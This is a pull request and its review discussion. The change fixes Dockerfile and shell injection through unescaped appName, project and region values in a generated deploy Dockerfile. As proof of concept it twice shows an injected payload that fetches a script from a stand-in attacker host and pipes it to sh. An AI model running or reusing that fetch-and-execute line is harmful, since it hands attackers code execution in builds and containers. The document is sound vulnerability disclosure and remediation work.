fix(deploy): reject unsafe appName/project/region in generated Dockerfile

[herdiyana256]

createDockerFileContent (dev/src/cli/deploy/deploy_utils.ts, shared by both adk deploy cloud_run and adk deploy agent_engine) interpolates options.appName, options.project, and options.region directly into the generated Dockerfile's ENV, COPY, and CMD instructions with no escaping.

Dockerfile instructions are newline-delimited, and the generated CMD line runs through /bin/sh -c at container start, so a value containing a newline or shell metacharacters breaks out of its instruction. appName is derived by default from the basename of the agent path passed to the deploy command (path.parse(agentPath).name / path.basename(agentPath)), only overridden by an explicit --app_name flag — so a maliciously-named agent directory or file (e.g. from a shared or cloned agent template a developer did not author themselves) injects arbitrary Dockerfile instructions executed during docker build, and/or arbitrary shell commands into the deployed container's CMD.

Confirmed by executing createDockerFileContent directly: an appName of x"\nRUN curl https://attacker.example/x.sh | sh\n# produced a Dockerfile containing that RUN as its own standalone instruction.

COPY --chown=myuser:myuser "agents/myagent"
RUN curl -s https://attacker.example/x.sh | sh
#/" "/app/agents/myagent"
...

Fix: add assertSafeDockerfileToken, restricting appName/project/region to a plain identifier (letters, digits, dot, dash, underscore) before they're embedded in the Dockerfile content, applied once at the top of the shared createDockerFileContent so both deploy commands are covered by a single check. Existing valid values (project IDs, regions, agent names) are unaffected. Adds regression tests for the injection attempt and for values using dots/dashes/underscores.

[AmaadMartin]

Fix is in the right place: createDockerFile is the only Dockerfile generator in the repo and both deploy paths (cli_deploy_cloud_run.ts:200, cli_deploy_agent_engine.ts:99) go through it, so one check covers both, and no existing test passes a value the regex rejects.

One correction to the description, which makes your threat model stronger: there is no --app_name flag anywhere in the CLI, and cli_deploy_cloud_run.ts:177 reads options.appName || isFileProvided ? … : … — || binds before ?:, so even if the flag existed it would be discarded. appName is always the agent path's basename, i.e. always the untrusted value.

Comments below on what the same template still interpolates unchecked.

[herdiyana256]

Addressed in e283fd0:

• logLevel, allowOrigins, sessionServiceUri, artifactServiceUri now reject embedded newlines (they can't use the plain-identifier regex since they're free-form: URIs, comma-separated lists) and are single-quote-escaped before being appended to the CMD line, closing both the Dockerfile-instruction-breakout and the /bin/sh metacharacter vector.
• Error messages now JSON.stringify the rejected value instead of interpolating it raw.
• The region rejection test now uses a newline payload — region only reaches the ENV GOOGLE_CLOUD_LOCATION= line, not the shell-interpreted CMD line, so the ;-based payload wasn't actually testing what it claimed to.

Added tests covering newline rejection and shell-quoting (including embedded-quote escaping) for all four values.

[AmaadMartin]

Re-checked at 98be2c67. All three findings are addressed, and the CMD-line one was answered properly rather than deferred: assertNoDockerfileNewline closes the instruction break-out for all four free-form values, and shellQuote closes the /bin/sh metacharacter vector that the newline check alone would have left open.

I verified the quoting rather than trusting the tests: '${value.replace(/'/g, "'\\''")}' is correct POSIX single-quote escaping, and the CMD line really is shell form (CMD npx adk ... at deploy_utils.ts:176), so the quotes are consumed by /bin/sh and not passed through literally. I also swept for anything depending on the old unquoted output — one assertion, --allow_origins=http://example.com, and this PR updates it. Staying on shell form instead of exec-form JSON is a reasonable scope call; the validation now covers the same ground.

The region test is right too: newline payload, and the name says what it prevents rather than implying region reaches the shell.

CI: the Windows red is core/test/code_executors/unsafe_local_code_executor_test.ts > should execute shell code timing out at 5s — a core/ test, and this PR only touches dev/src/cli/deploy/. It failed on both attempts here and on #599 and #575 today, and passed on #600 and #603; every failure is a timeout, never an assertion. Ubuntu and macOS are green. Merging on that basis, but the flake deserves its own issue.

LGTM.